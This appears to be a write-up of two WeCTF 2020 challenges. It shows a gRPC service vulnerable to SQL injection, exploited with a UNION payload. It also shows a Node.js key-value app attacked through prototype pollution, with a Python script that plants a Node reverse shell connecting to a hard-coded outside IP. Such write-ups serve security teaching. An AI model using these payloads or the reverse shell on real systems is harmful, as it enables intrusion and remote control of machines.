WeCTF 2020
Challenge files can be found here.
lightSequel
Shou just learnt gRPC! Go play with his nasty API!
We're given source code for a gRPC service built in Golang. One function in particular looks interesting:
func (s *srvServer) GetLoginHistory(ctx context.Context, _ *pb.SrvRequest) (*pb.SrvReply, error) {
md, _ := metadata.FromIncomingContext(ctx)
if len(md["user_token"]) == 0 {
// no user token provided by upstream
return &pb.SrvReply{
Ip: nil,
}, nil
}
userToken := md["user_token"][0]
var ul []UserLogs
err := db.Table("user_logs AS ul").
Select("ul.ip").
Where(fmt.Sprintf("ul.user_id = (SELECT id FROM users AS u WHERE u.token = '%s')", userToken)).
Find(&ul)
if err != nil {
log.Println(err)
}
// convert struct to an array
var ips []string
for _, v := range ul {
ips = append(ips, v.Ip)
}
return &pb.SrvReply{
Ip: ips,
}, nil
}
Where(fmt.Sprintf("ul.user_id = (SELECT id FROM users AS u WHERE u.token = '%s')", userToken))
definitely looks vulnerable to SQL injection, which we can confirm quickly with a client:
import grpc
import main_pb2
import main_pb2_grpc
CON_STR = 'light.w-jp.cf:1004'
with grpc.insecure_channel(CON_STR) as channel:
stub = main_pb2_grpc.SrvStub(channel)
res = stub.GetLoginHistory(main_pb2.SrvRequest(), metadata=(('user_token', "')) UNION SELECT flag FROM flags-- "),))
print(res.ip)
which results in the following SQL query being executed:
KVaaS
Shou, after successfully created all those Apps, starts to get ballsier and claims that every database should use HTTP to communicate with the client. Thus, he rewrites Redis in his favorite language Javascript and announces he created first KVaaS.
We're provided with a node.js app:
This application allows us to use an object as a key-value store, where we can write data through the /set
endpoint.
Quite a lot of time was wasted trying to figure out if it were possible to perform a command injection attack with the base64 character set (which I believe is impossible due to the lack of control characters). Obviously, undefineddb eyJhIjp7ImEiOlsiYiIsImMiXSwiYSxhIjpbImIiLCJjIl19fQ==
is not a valid command.
We then realised that db[user_token][key] = value;
allows us to write to any arbitrary property of db
, including __proto__
. This allows us to perform a prototype pollution attack.
JavaScript prototypes are "default objects" that objects inherit from. An example:
> const a = {}
> const b = {}
> a.__proto__.foo = "bar";
'bar'
> b.foo
'bar'
We see that even though foo
was never defined on b
directly, b.foo
still has the value bar
because b
inherited the value from the object prototype.
We can exploit this to write an arbitrary value into utils.redis_set
by setting db["__proto__"]["redis_set"]
. This value is then executed as a command when /backup
is visited.
import sys
import requests
host = sys.argv[1]
# cmd = sys.argv[2]
rshell_host = "159.89.205.15"
rshell_port = "8181"
# https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell
cmd = """node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(""" + rshell_port + """, \"""" + rshell_host + """\", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'"""
r = requests.get(f'{host}/set', params={
"user_token": "__proto__",
"key": "redis_set",
"value": cmd + ";#"
})
print(r.text)
r = requests.put(f'{host}/backup')
print(r.text)